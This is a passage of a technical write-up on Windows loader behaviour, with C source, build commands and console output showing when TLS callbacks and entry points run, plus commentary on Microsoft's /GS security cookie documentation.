WCHAR szCaller[MAX_PATH];
DWORD dwCaller;
HMODULE hCaller;
HANDLE hConsole = GetStdHandle(STD_ERROR_HANDLE);
if (hConsole != INVALID_HANDLE_VALUE)
{
dwModule = GetModuleFileName((HMODULE) &__ImageBase,
szModule,
sizeof(szModule) / sizeof(*szModule));
if (dwModule < sizeof(szModule) / sizeof(*szModule))
szModule[dwModule] = L'\0';
if (!GetModuleHandleEx(GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS | GET_MODULE_HANDLE_EX_FLAG_UNCHANGED_REFCOUNT,
_ReturnAddress(),
&hCaller))
szCaller[0] = L'\0';
else
{
dwCaller = GetModuleFileName(hCaller,
szCaller,
sizeof(szCaller) / sizeof(*szCaller));
if (dwCaller < sizeof(szCaller) / sizeof(*szCaller))
szCaller[dwCaller] = L'\0';
}
PrintConsole(hConsole,
L"\n"
__LPREFIX(__FUNCTION__) L"() function @ 0x%p\n"
L"\tCalled module @ 0x%p = %ls\n"
L"\tCalling module @ 0x%p = %ls\n"
L"\tReturn address @ 0x%p = 0x%p\n"
L"\tParameter = 0x%p\n"
L"\tThread id = %lu\n",
ThreadProc,
&__ImageBase, szModule,
hCaller, szCaller,
_AddressOfReturnAddress(), _ReturnAddress(),
lpParameter,
GetCurrentThreadId());
}
if (lpParameter == NULL)
return 'NULL';
ExitProcess(WaitForSingleObject(GetCurrentThread(), 123));
}
#ifdef _DLL
__declspec(safebuffers)
BOOL WINAPI _DllMainCRTStartup(HMODULE hModule, DWORD dwReason, LPVOID lpContext)
{
WCHAR szModule[MAX_PATH];
DWORD dwModule = GetModuleFileName(hModule,
szModule,
sizeof(szModule) / sizeof(*szModule));
HMODULE hCaller;
WCHAR szCaller[MAX_PATH];
DWORD dwCaller;
DWORD dwThreadId = GetCurrentThreadId();
HANDLE hThread;
HANDLE hConsole = GetConsoleWindow();
if (hConsole == NULL)
return FALSE;
hConsole = GetStdHandle(STD_ERROR_HANDLE);
if (hConsole == INVALID_HANDLE_VALUE)
return FALSE;
if (dwModule < sizeof(szModule) / sizeof(*szModule))
szModule[dwModule] = L'\0';
if (!GetModuleHandleEx(GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS | GET_MODULE_HANDLE_EX_FLAG_UNCHANGED_REFCOUNT,
_ReturnAddress(),
&hCaller))
szCaller[0] = L'\0';
else
{
dwCaller = GetModuleFileName(hCaller,
szCaller,
sizeof(szCaller) / sizeof(*szCaller));
if (dwCaller < sizeof(szCaller) / sizeof(*szCaller))
szCaller[dwCaller] = L'\0';
}
PrintConsole(hConsole,
L"\n"
__LPREFIX(__FUNCTION__) L"() function @ 0x%p\n"
L"\tCalled module @ 0x%p = %ls\n"
L"\tCalling module @ 0x%p = %ls\n"
L"\tReturn address @ 0x%p = 0x%p\n"
L"\tArguments:\n"
L"\t\tModule = 0x%p\n"
L"\t\tReason = %lu (%ls)\n"
L"\t\tContext = 0x%p\n"
L"\tThread id = %lu\n"
L"\tTLS index = %ld\n"
L"\tTLS value = 0x%p\n"
L"\tTLS array @ 0x%p\n"
L"\tTLS block @ 0x%p\n",
_DllMainCRTStartup,
hModule, szModule,
hCaller, szCaller,
_AddressOfReturnAddress(), _ReturnAddress(),
hModule, dwReason, szReason[dwReason], lpContext,
dwThreadId,
_tls_index,
TlsGetValue(_tls_index),
#ifdef _M_IX86
__readfsdword(44),
((LPVOID *) __readfsdword(44))[_tls_index]);
#elif _M_AMD64
__readgsqword(88),
((LPVOID *) __readgsqword(88))[_tls_index]);
#else
#error Only I386 and AMD64 supported!
#endif
if (dwReason != DLL_PROCESS_ATTACH)
return FALSE;
hThread = CreateThread((LPSECURITY_ATTRIBUTES) NULL,
(SIZE_T) 65536,
ThreadProc,
NULL,
0,
&dwThreadId);
if (hThread == NULL)
PrintConsole(hConsole,
L"CreateThread() returned error %lu\n",
GetLastError());
else
{
PrintConsole(hConsole,
L"\n"
L"Thread %lu created and started\n",
dwThreadId);
if (!CloseHandle(hThread))
PrintConsole(hConsole,
L"CloseHandle() returned error %lu\n",
GetLastError());
}
return TRUE;
}
__declspec(dllexport)
const WCHAR Quirk23[] = L"Quirk23";
#else // _DLL
__declspec(dllimport)
extern WCHAR Quirk23[];
__declspec(noreturn)
VOID CDECL wmainCRTStartup(VOID)
{
WCHAR szModule[MAX_PATH];
DWORD dwModule;
DWORD dwError = ERROR_SUCCESS;
HMODULE hCaller;
WCHAR szCaller[MAX_PATH];
DWORD dwCaller;
DWORD dwThreadId = GetCurrentThreadId();
DWORD dwThread;
HANDLE hThread;
HANDLE hConsole = GetStdHandle(STD_ERROR_HANDLE);
if (hConsole == INVALID_HANDLE_VALUE)
dwError = GetLastError();
else
{
dwModule = GetModuleFileName((HMODULE) NULL,
szModule,
sizeof(szModule) / sizeof(*szModule));
if (dwModule < sizeof(szModule) / sizeof(*szModule))
szModule[dwModule] = L'\0';
if (!GetModuleHandleEx(GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS | GET_MODULE_HANDLE_EX_FLAG_UNCHANGED_REFCOUNT,
_ReturnAddress(),
&hCaller))
szCaller[0] = L'\0';
else
{
dwCaller = GetModuleFileName(hCaller,
szCaller,
sizeof(szCaller) / sizeof(*szCaller));
if (dwCaller < sizeof(szCaller) / sizeof(*szCaller))
szCaller[dwCaller] = L'\0';
}
PrintConsole(hConsole,
L"\n"
__LPREFIX(__FUNCTION__) L"() function @ 0x%p\n"
L"\tCalled module @ 0x%p = %ls\n"
L"\tCalling module @ 0x%p = %ls\n"
L"\tReturn address @ 0x%p = 0x%p\n"
L"\n"
L"\tThread id = %lu\n"
L"\tTLS index = %ld\n"
L"\tTLS value = 0x%p\n"
L"\tTLS array @ 0x%p\n"
L"\tTLS block @ 0x%p\n",
wmainCRTStartup,
&__ImageBase, szModule,
hCaller, szCaller,
_AddressOfReturnAddress(), _ReturnAddress(),
dwThreadId,
_tls_index,
TlsGetValue(_tls_index),
#ifdef _M_IX86
__readfsdword(44),
((LPVOID *) __readfsdword(44))[_tls_index]);
#elif _M_AMD64
__readgsqword(88),
((LPVOID *) __readgsqword(88))[_tls_index]);
#else
#error Only I386 and AMD64 supported!
#endif
hThread = CreateThread((LPSECURITY_ATTRIBUTES) NULL,
(SIZE_T) 65536,
ThreadProc,
Quirk23,
0,
&dwThreadId);
if (hThread == NULL)
PrintConsole(hConsole,
L"CreateThread() returned error %lu\n",
dwError = GetLastError());
else
{
PrintConsole(hConsole,
L"\n"
L"Thread %lu created and started\n",
dwThreadId);
if (WaitForSingleObject(hThread, INFINITE) == WAIT_FAILED)
PrintConsole(hConsole,
L"WaitForSingleObject() returned error %lu\n",
dwError = GetLastError());
if (!GetExitCodeThread(hThread, &dwThread))
PrintConsole(hConsole,
L"GetExitCodeThread() returned error %lu\n",
dwError = GetLastError());
else
PrintConsole(hConsole,
L"\n"
L"Thread %lu exited with code %lu\n",
dwThreadId, dwThread);
if (!CloseHandle(hThread))
PrintConsole(hConsole,
L"CloseHandle() returned error %lu\n",
GetLastError());
}
if (WaitForSingleObject(GetCurrentThread(), INFINITE) == WAIT_FAILED)
PrintConsole(hConsole,
L"WaitForSingleObject() returned error %lu\n",
dwError = GetLastError());
if (!CloseHandle(hConsole))
PrintConsole(hConsole,
L"CloseHandle() returned error %lu\n",
GetLastError());
}
ExitProcess(dwError);
}
#endif // _DLL
Build the
DLL
quirk23.dll
and its import library
quirk23.lib
from the source file quirk23.c
created in step 1.:
SET CL=/GAFy /Oisy /W4 /Zl SET LINK=/NODEFAULTLIB CL.EXE /LD /MD quirk23.c kernel32.lib user32.libFor details and reference see the MSDN articles Compiler Options and Linker Options.
Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.
Note: quirk23.dll
is a pure
Win32
DLL
and builds without the
MSVCRT
libraries.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. quirk23.c quirk23.c(104) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'void *' quirk23.c(105) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'void *' quirk23.c(106) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'DWORD *' quirk23.c(107) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'const PIMAGE_TLS_CALLBACK *' Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /NODEFAULTLIB /out:quirk23.dll /dll /implib:quirk23.lib quirk23.obj kernel32.lib user32.lib Creating library quirk23.lib and object quirk23.exp
Build the console application quirk23.exe
from the
source file quirk23.c
created in step 1., using
the import library quirk23.lib
generated in
step 2.:
SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE quirk23.c quirk23.lib kernel32.lib user32.libNote:
quirk23.exe
is a pure
Win32 console application and builds without the
MSVCRT
libraries.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. quirk23.c quirk23.c(104) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'void *' quirk23.c(105) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'void *' quirk23.c(106) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'DWORD *' quirk23.c(107) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'const PIMAGE_TLS_CALLBACK *' Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:quirk23.exe quirk23.obj quirk23.lib kernel32.lib user32.lib
Execute the console application quirk23.exe
:
.\quirk23.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
TLSCallback() function @ 0x7465104E Called module @ 0x74650000 = C:\Users\Stefan\Desktop\quirk23.dll Calling module @ 0x778A0000 = C:\Windows\SysWOW64\ntdll.dll Return address @ 0x0047F968 = 0x778D9280 Arguments: Module = 0x74650000 Reason = 1 (process attach) Unused = 0x00000000 Thread id = 3700 Thread exit code = 259 Process exit code = 259 _DllMainCRTStartup() function @ 0x7465122A Called module @ 0x74650000 = C:\Users\Stefan\Desktop\quirk23.dll Calling module @ 0x778A0000 = C:\Windows\SysWOW64\ntdll.dll Return address @ 0x0047F9A4 = 0x778D9280 Arguments: Module = 0x74650000 Reason = 1 (process attach) Context = 0x0047FCA8 Thread id = 3700 TLS index = 1 TLS value = 0x00000000 TLS array @ 0x007E4CA0 TLS block @ 0x007FB5A0 Thread 7816 created and started TLSCallback() function @ 0x0023104E Called module @ 0x00230000 = C:\Users\Stefan\Desktop\quirk23.exe Calling module @ 0x778A0000 = C:\Windows\SysWOW64\ntdll.dll Return address @ 0x0047F968 = 0x778D9280 Arguments: Module = 0x00230000 Reason = 1 (process attach) Unused = 0x00000000 Thread id = 3700 Thread exit code = 259 Process exit code = 259 wmainCRTStartup() function @ 0x0023122A Called module @ 0x00230000 = C:\Users\Stefan\Desktop\quirk23.exe Calling module @ 0x77200000 = C:\Windows\syswow64\kernel32.dll Return address @ 0x0047FF10 = 0x7721343D Thread id = 3700 TLS index = 0 TLS value = 0x00000000 TLS array @ 0x007E4CA0 TLS block @ 0x007E4CD0 Thread 13192 created and started TLSCallback() function @ 0x7465104E Called module @ 0x74650000 = C:\Users\Stefan\Desktop\quirk23.dll Calling module @ 0x778A0000 = C:\Windows\SysWOW64\ntdll.dll Return address @ 0x0217F898 = 0x778D9280 Arguments: Module = 0x74650000 Reason = 2 (thread attach) Unused = 0x00000000 Thread id = 7816 Thread exit code = 259 Process exit code = 259 _DllMainCRTStartup() function @ 0x7465122A Called module @ 0x74650000 = C:\Users\Stefan\Desktop\quirk23.dll Calling module @ 0x778A0000 = C:\Windows\SysWOW64\ntdll.dll Return address @ 0x0217F8D4 = 0x778D9280 Arguments: Module = 0x74650000 Reason = 2 (thread attach) Context = 0x00000000 Thread id = 7816 TLS index = 1 TLS value = 0x00000000 TLS array @ 0x00802840 TLS block @ 0x00802870 TLSCallback() function @ 0x0023104E Called module @ 0x00230000 = C:\Users\Stefan\Desktop\quirk23.exe Calling module @ 0x778A0000 = C:\Windows\SysWOW64\ntdll.dll Return address @ 0x0217F898 = 0x778D9280 Arguments: Module = 0x00230000 Reason = 2 (thread attach) Unused = 0x00000000 Thread id = 7816 Thread exit code = 259 Process exit code = 259 TLSCallback() function @ 0x7465104E Called module @ 0x74650000 = C:\Users\Stefan\Desktop\quirk23.dll Calling module @ 0x778A0000 = C:\Windows\SysWOW64\ntdll.dll Return address @ 0x0233F664 = 0x778D9280 Arguments: Module = 0x74650000 Reason = 2 (thread attach) Unused = 0x00000000 Thread id = 13192 Thread exit code = 259 Process exit code = 259 _DllMainCRTStartup() function @ 0x7465122A Called module @ 0x74650000 = C:\Users\Stefan\Desktop\quirk23.dll Calling module @ 0x778A0000 = C:\Windows\SysWOW64\ntdll.dll Return address @ 0x0233F6A0 = 0x778D9280 Arguments: Module = 0x74650000 Reason = 2 (thread attach) Context = 0x00000000 Thread id = 13192 TLS index = 1 TLS value = 0x00000000 TLS array @ 0x008028A8 TLS block @ 0x008028E8 TLSCallback() function @ 0x0023104E Called module @ 0x00230000 = C:\Users\Stefan\Desktop\quirk23.exe Calling module @ 0x778A0000 = C:\Windows\SysWOW64\ntdll.dll Return address @ 0x0233F664 = 0x778D9280 Arguments: Module = 0x00230000 Reason = 2 (thread attach) Unused = 0x00000000 Thread id = 13192 Thread exit code = 259 Process exit code = 259 ThreadProc() function @ 0x74651148 Called module @ 0x74650000 = C:\Users\Stefan\Desktop\quirk23.dll Calling module @ 0x77200000 = C:\Windows\syswow64\kernel32.dll Return address @ 0x0217FC68 = 0x7721343D Parameter = 0x00000000 Thread id = 7816 ThreadProc() function @ 0x00231148 Called module @ 0x00230000 = C:\Users\Stefan\Desktop\quirk23.exe Calling module @ 0x77200000 = C:\Windows\syswow64\kernel32.dll Return address @ 0x0233FA34 = 0x7721343D Parameter = 0x746530F8 Thread id = 13192 TLSCallback() function @ 0x7465104E Called module @ 0x74650000 = C:\Users\Stefan\Desktop\quirk23.dll Calling module @ 0x778A0000 = C:\Windows\SysWOW64\ntdll.dll Return address @ 0x0217FB58 = 0x778D9280 Arguments: Module = 0x74650000 Reason = 3 (thread detach) Unused = 0x00000000 Thread id = 7816 Thread exit code = 259 Process exit code = 259 _DllMainCRTStartup() function @ 0x7465122A Called module @ 0x74650000 = C:\Users\Stefan\Desktop\quirk23.dll Calling module @ 0x778A0000 = C:\Windows\SysWOW64\ntdll.dll Return address @ 0x0217FB94 = 0x778D9280 Arguments: Module = 0x74650000 Reason = 3 (thread detach) Context = 0x00000000 Thread id = 7816 TLS index = 1 TLS value = 0x00000000 TLS array @ 0x00802840 TLS block @ 0x00802870 TLSCallback() function @ 0x0023104E Called module @ 0x00230000 = C:\Users\Stefan\Desktop\quirk23.exe Calling module @ 0x778A0000 = C:\Windows\SysWOW64\ntdll.dll Return address @ 0x0217FB58 = 0x778D9280 Arguments: Module = 0x00230000 Reason = 3 (thread detach) Unused = 0x00000000 Thread id = 7816 Thread exit code = 259 Process exit code = 259 TLSCallback() function @ 0x7465104E Called module @ 0x74650000 = C:\Users\Stefan\Desktop\quirk23.dll Calling module @ 0x778A0000 = C:\Windows\SysWOW64\ntdll.dll Return address @ 0x0233F4E8 = 0x778D9280 Arguments: Module = 0x74650000 Reason = 0 (process detach) Unused = 0x00000000 Thread id = 13192 Thread exit code = 259 Process exit code = 258 _DllMainCRTStartup() function @ 0x7465122A Called module @ 0x74650000 = C:\Users\Stefan\Desktop\quirk23.dll Calling module @ 0x778A0000 = C:\Windows\SysWOW64\ntdll.dll Return address @ 0x0233F524 = 0x778D9280 Arguments: Module = 0x74650000 Reason = 0 (process detach) Context = 0x00000001 Thread id = 13192 TLS index = 1 TLS value = 0x00000000 TLS array @ 0x008028A8 TLS block @ 0x008028E8 TLSCallback() function @ 0x0023104E Called module @ 0x00230000 = C:\Users\Stefan\Desktop\quirk23.exe Calling module @ 0x778A0000 = C:\Windows\SysWOW64\ntdll.dll Return address @ 0x0233F4E8 = 0x778D9280 Arguments: Module = 0x00230000 Reason = 0 (process detach) Unused = 0x00000000 Thread id = 13192 Thread exit code = 259 Process exit code = 258 0x102 (WIN32: 258 WAIT_TIMEOUT) -- 258 (258) Error message text: The wait operation timed out. CertUtil: -error command completed successfully.
TLSCallback() function @ 0x000007FEF63B106C Called module @ 0x000007FEF63B0000 = C:\Users\Stefan\Desktop\quirk23.dll Calling module @ 0x00000000776E0000 = C:\Windows\SYSTEM32\ntdll.dll Return address @ 0x000000000027EF38 = 0x0000000077725078 Arguments: Module = 0x000007FEF63B0000 Reason = 1 (process attach) Unused = 0x0000000000000000 Thread id = 11656 Thread exit code = 259 Process exit code = 259 _DllMainCRTStartup() function @ 0x000007FEF63B132C Called module @ 0x000007FEF63B0000 = C:\Users\Stefan\Desktop\quirk23.dll Calling module @ 0x00000000776E0000 = C:\Windows\SYSTEM32\ntdll.dll Return address @ 0x000000000027EFA8 = 0x0000000077717C3E Arguments: Module = 0x000007FEF63B0000 Reason = 1 (process attach) Context = 0x000000000027F730 Thread id = 11656 TLS index = 1 TLS value = 0x0000000000000000 TLS array @ 0x00000000003F3300 TLS block @ 0x000000000041A1E0 Thread 2764 created and started TLSCallback() function @ 0x000000013F61106C Called module @ 0x000000013F610000 = C:\Users\Stefan\Desktop\quirk23.exe Calling module @ 0x00000000776E0000 = C:\Windows\SYSTEM32\ntdll.dll Return address @ 0x000000000027EF38 = 0x0000000077725078 Arguments: Module = 0x000000013F610000 Reason = 1 (process attach) Unused = 0x0000000000000000 Thread id = 11656 Thread exit code = 259 Process exit code = 259 wmainCRTStartup() function @ 0x000000013F61132C Called module @ 0x000000013F610000 = C:\Users\Stefan\Desktop\quirk23.exe Calling module @ 0x00000000774C0000 = C:\Windows\system32\kernel32.dll Return address @ 0x000000000027FB88 = 0x00000000774D556D Thread id = 11656 TLS index = 0 TLS value = 0x0000000000000000 TLS array @ 0x00000000003F3300 TLS block @ 0x00000000003F3350 Thread 7656 created and started TLSCallback() function @ 0x000007FEF63B106C Called module @ 0x000007FEF63B0000 = C:\Users\Stefan\Desktop\quirk23.dll Calling module @ 0x00000000776E0000 = C:\Windows\SYSTEM32\ntdll.dll Return address @ 0x0000000001D3F6B8 = 0x0000000077725078 Arguments: Module = 0x000007FEF63B0000 Reason = 2 (thread attach) Unused = 0x0000000000000000 Thread id = 2764 Thread exit code = 259 Process exit code = 259 _DllMainCRTStartup() function @ 0x000007FEF63B132C Called module @ 0x000007FEF63B0000 = C:\Users\Stefan\Desktop\quirk23.dll Calling module @ 0x00000000776E0000 = C:\Windows\SYSTEM32\ntdll.dll Return address @ 0x0000000001D3F728 = 0x00000000777183CC Arguments: Module = 0x000007FEF63B0000 Reason = 2 (thread attach) Context = 0x0000000000000000 Thread id = 2764 TLS index = 1 TLS value = 0x0000000000000000 TLS array @ 0x000000000041A310 TLS block @ 0x000000000041A380 TLSCallback() function @ 0x000000013F61106C Called module @ 0x000000013F610000 = C:\Users\Stefan\Desktop\quirk23.exe Calling module @ 0x00000000776E0000 = C:\Windows\SYSTEM32\ntdll.dll Return address @ 0x0000000001D3F6B8 = 0x0000000077725078 Arguments: Module = 0x000000013F610000 Reason = 2 (thread attach) Unused = 0x0000000000000000 Thread id = 2764 Thread exit code = 259 Process exit code = 259 ThreadProc() function @ 0x000007FEF63B11E4 Called module @ 0x000007FEF63B0000 = C:\Users\Stefan\Desktop\quirk23.dll Calling module @ 0x00000000774C0000 = C:\Windows\system32\kernel32.dll Return address @ 0x0000000001D3FD48 = 0x00000000774D556D Parameter = 0x0000000000000000 Thread id = 2764 TLSCallback() function @ 0x000007FEF63B106C Called module @ 0x000007FEF63B0000 = C:\Users\Stefan\Desktop\quirk23.dll Calling module @ 0x00000000776E0000 = C:\Windows\SYSTEM32\ntdll.dll Return address @ 0x0000000001D3FB98 = 0x0000000077725078 Arguments: Module = 0x000007FEF63B0000 Reason = 3 (thread detach) Unused = 0x0000000000000000 Thread id = 2764 Thread exit code = 259 Process exit code = 259 _DllMainCRTStartup() function @ 0x000007FEF63B132C Called module @ 0x000007FEF63B0000 = C:\Users\Stefan\Desktop\quirk23.dll Calling module @ 0x00000000776E0000 = C:\Windows\SYSTEM32\ntdll.dll Return address @ 0x0000000001D3FC08 = 0x0000000077718785 Arguments: Module = 0x000007FEF63B0000 Reason = 3 (thread detach) Context = 0x0000000000000000 Thread id = 2764 TLS index = 1 TLS value = 0x0000000000000000 TLS array @ 0x000000000041A310 TLS block @ 0x000000000041A380 TLSCallback() function @ 0x000000013F61106C Called module @ 0x000000013F610000 = C:\Users\Stefan\Desktop\quirk23.exe Calling module @ 0x00000000776E0000 = C:\Windows\SYSTEM32\ntdll.dll Return address @ 0x0000000001D3FB98 = 0x0000000077725078 Arguments: Module = 0x000000013F610000 Reason = 3 (thread detach) Unused = 0x0000000000000000 Thread id = 2764 Thread exit code = 259 Process exit code = 259 TLSCallback() function @ 0x000007FEF63B106C Called module @ 0x000007FEF63B0000 = C:\Users\Stefan\Desktop\quirk23.dll Calling module @ 0x00000000776E0000 = C:\Windows\SYSTEM32\ntdll.dll Return address @ 0x0000000001F6F7D8 = 0x0000000077725078 Arguments: Module = 0x000007FEF63B0000 Reason = 2 (thread attach) Unused = 0x0000000000000000 Thread id = 7656 Thread exit code = 259 Process exit code = 259 _DllMainCRTStartup() function @ 0x000007FEF63B132C Called module @ 0x000007FEF63B0000 = C:\Users\Stefan\Desktop\quirk23.dll Calling module @ 0x00000000776E0000 = C:\Windows\SYSTEM32\ntdll.dll Return address @ 0x0000000001F6F848 = 0x00000000777183CC Arguments: Module = 0x000007FEF63B0000 Reason = 2 (thread attach) Context = 0x0000000000000000 Thread id = 7656 TLS index = 1 TLS value = 0x0000000000000000 TLS array @ 0x000000000041B410 TLS block @ 0x000000000041B460 TLSCallback() function @ 0x000000013F61106C Called module @ 0x000000013F610000 = C:\Users\Stefan\Desktop\quirk23.exe Calling module @ 0x00000000776E0000 = C:\Windows\SYSTEM32\ntdll.dll Return address @ 0x0000000001F6F7D8 = 0x0000000077725078 Arguments: Module = 0x000000013F610000 Reason = 2 (thread attach) Unused = 0x0000000000000000 Thread id = 7656 Thread exit code = 259 Process exit code = 259 ThreadProc() function @ 0x000000013F6111E4 Called module @ 0x000000013F610000 = C:\Users\Stefan\Desktop\quirk23.exe Calling module @ 0x00000000774C0000 = C:\Windows\system32\kernel32.dll Return address @ 0x0000000001F6FE68 = 0x00000000774D556D Parameter = 0x000007FEF63B2138 Thread id = 7656 TLSCallback() function @ 0x000007FEF63B106C Called module @ 0x000007FEF63B0000 = C:\Users\Stefan\Desktop\quirk23.dll Calling module @ 0x00000000776E0000 = C:\Windows\SYSTEM32\ntdll.dll Return address @ 0x0000000001F6FA18 = 0x0000000077725078 Arguments: Module = 0x000007FEF63B0000 Reason = 0 (process detach) Unused = 0x0000000000000000 Thread id = 7656 Thread exit code = 259 Process exit code = 258 _DllMainCRTStartup() function @ 0x000007FEF63B132C Called module @ 0x000007FEF63B0000 = C:\Users\Stefan\Desktop\quirk23.dll Calling module @ 0x00000000776E0000 = C:\Windows\SYSTEM32\ntdll.dll Return address @ 0x0000000001F6FA88 = 0x000000007771775B Arguments: Module = 0x000007FEF63B0000 Reason = 0 (process detach) Context = 0x0000000000000001 Thread id = 7656 TLS index = 1 TLS value = 0x0000000000000000 TLS array @ 0x000000000041B410 TLS block @ 0x000000000041B460 TLSCallback() function @ 0x000000013F61106C Called module @ 0x000000013F610000 = C:\Users\Stefan\Desktop\quirk23.exe Calling module @ 0x00000000776E0000 = C:\Windows\SYSTEM32\ntdll.dll Return address @ 0x0000000001F6FA18 = 0x0000000077725078 Arguments: Module = 0x000000013F610000 Reason = 0 (process detach) Unused = 0x0000000000000000 Thread id = 7656 Thread exit code = 259 Process exit code = 258 0x102 (WIN32: 258 WAIT_TIMEOUT) -- 258 (258) Error message text: The wait operation timed out. CertUtil: -error command completed successfully.Note: the module loader calls the TLS Callback Function
TLSCallback()
before the entry-point
functions of the
DLL
quirk23.dll
and the console application
quirk23.exe
, and finally also after
the latter called
ExitProcess()
!
Oops¹: although both
StartAddressOfRawData
and
EndAddressOfRawData
members of the
_tls_used
structure are NULL
, i.e.
TLS template data is
absent, the module loader allocates a
TLS block per
thread!
Oops²: contrary to the documentation cited
above, the module loader ignores the SizeOfZeroFill
member of the _tls_used
structure!
Oops³: contrary to the documentation cited above, the exit code of the not yet terminated process is already set!
The /GS compiler option requires that the security cookie be initialized before any function that uses the cookie is run. The security cookie must be initialized immediately on entry to an EXE or DLL. This is done automatically if you use the default VCRuntime entry points: mainCRTStartup, wmainCRTStartup, WinMainCRTStartup, wWinMainCRTStartup, or _DllMainCRTStartup. If you use an alternate entry point, you must manually initialize the security cookie by calling __security_init_cookie.These statements are but wrong in three points and omit several details:
_load_config_used
structure matches the size of the
IMAGE_LOAD_CONFIG_DIRECTORY
structure in the eleventh entry of the
IMAGE_DATA_DIRECTORY
array in the
IMAGE_OPTIONAL_HEADER
structure;
__security_init_cookie()
function provided in the
MSVCRT
libraries (re)initialises the security cookie only if it has this
default value or is 0;
__security_init_cookie()
function to (re)initialise the security cookie;
mainCRTStartup
,
wmainCRTStartup
, WinMainCRTStartup
,
wWinMainCRTStartup
and _DllMainCRTStartup
!
If you link withstrict_gs_check pragma/NODEFAULTLIB
and you want a table of safe exception handlers, you need to supply a load config struct (…) that contains all the entries defined for Visual C++. For example:#include <windows.h> extern DWORD_PTR __security_cookie; /* /GS security cookie */ /* * The following two names are automatically created by the linker for any * image that has the safe exception table present. */ extern PVOID __safe_se_handler_table[]; /* base of safe handler entry table */ extern BYTE __safe_se_handler_count; /* absolute symbol whose address is the count of table entries */ const IMAGE_LOAD_CONFIG_DIRECTORY32 _load_config_used = { sizeof(IMAGE_LOAD_CONFIG_DIRECTORY32), 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, &__security_cookie, __safe_se_handler_table, (DWORD)(DWORD_PTR) &__safe_se_handler_count };
Create the text file quirk24.c
with the following
content in an arbitrary, preferable empty directory:
// Copyright © 2004-2024, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define _CRT_SECURE_NO_WARNINGS
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#ifndef _WIN64
#ifdef ZERO
DWORD_PTR __security_cookie = 0;
#else
DWORD_PTR __security_cookie = 0xBB40E64E;
#endif // = 3141592654 = 10**9 * pi
extern LPVOID __safe_se_handler_table[];
extern BYTE __safe_se_handler_count;
const IMAGE_LOAD_CONFIG_DIRECTORY32 _load_config_used = {sizeof(_load_config_used),
'NULL', // = 2011-08-24 19:09:00 UTC
_MSC_VER / 100,
_MSC_VER % 100,
0, 0, 0, 0, 0, 0, 0, 0,
HEAP_GENERATE_EXCEPTIONS,
0, 0, 0, 0,
&__security_cookie,
__safe_se_handler_table,
&__safe_se_handler_count};
#else // _WIN64
#ifdef ZERO
DWORD_PTR __security_cookie = 0;
#else
DWORD_PTR __security_cookie = 0x00002B992DDFA232;
// = 3141592653589793241 >> 16
#endif // = 10**18 / 2**16 * pi
const IMAGE_LOAD_CONFIG_DIRECTORY64 _load_config_used = {sizeof(_load_config_used),
'NULL', // = 2011-08-24 19:09:00 UTC
_MSC_VER / 100,
_MSC_VER % 100,
0, 0, 0, 0, 0, 0, 0, 0, 0,
HEAP_GENERATE_EXCEPTIONS,
0, 0, 0,
&__security_cookie,
0,
0};
#endif // _WIN64
#ifdef _DLL
__declspec(dllexport)
__declspec(safebuffers)
BOOL WINAPI ConsoleCookie(LPCWSTR lpFunction, DWORD_PTR gsCookie)
{
WCHAR szOutput[1024];
DWORD dwOutput;
DWORD dwConsole;
HANDLE hConsole = GetStdHandle(STD_ERROR_HANDLE);
if (hConsole == INVALID_HANDLE_VALUE)
return FALSE;
#ifndef _WIN64
if (gsCookie == 0xBB40E64E)
#else
if (gsCookie == 0x00002B992DDFA232)
#endif
dwOutput = wsprintf(szOutput,
L"%ls entry point: /GS security cookie is NOT initialised!\a\n",
lpFunction);
else if (gsCookie == 0)
dwOutput = wsprintf(szOutput,
L"%ls entry point: /GS security cookie is 0!\a\n",
lpFunction);
else
dwOutput = wsprintf(szOutput,
L"%ls entry point: /GS security cookie is initialised with 0x%p\n",
lpFunction, gsCookie);
if (dwOutput == 0)
return FALSE;
if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
return FALSE;
return dwConsole == dwOutput;
}
__declspec(dllexport)
__declspec(safebuffers)
BOOL WINAPI WindowsCookie(LPCWSTR lpFunction, DWORD_PTR gsCookie)
{
WCHAR szOutput[1024];
DWORD dwOutput;
UINT uiType = MB_ICONERROR | MB_OK;
#ifndef _WIN64
if (gsCookie == 3141592654)
#else
if (gsCookie == 3141592653589793241 >> 16)
#endif
wcscpy(szOutput, L"/GS security cookie is NOT initialised!\n");
else if (gsCookie == 0)
wcscpy(szOutput, L"/GS security cookie is 0!\n");
else
{
dwOutput = wsprintf(szOutput,
L"/GS security cookie is initialised with 0x%p\n",
gsCookie);
szOutput[dwOutput] = L'\0';
uiType = MB_ICONINFORMATION | MB_OK;
}
return MessageBoxEx(HWND_DESKTOP, szOutput, lpFunction, uiType,
MAKELANGID(LANG_ENGLISH, SUBLANG_NEUTRAL));
}
BOOL WINAPI _DllMainCRTStartup(HMODULE hModule, DWORD dwReason, LPVOID lpReserved)
{
if (dwReason != DLL_PROCESS_ATTACH)
return FALSE;
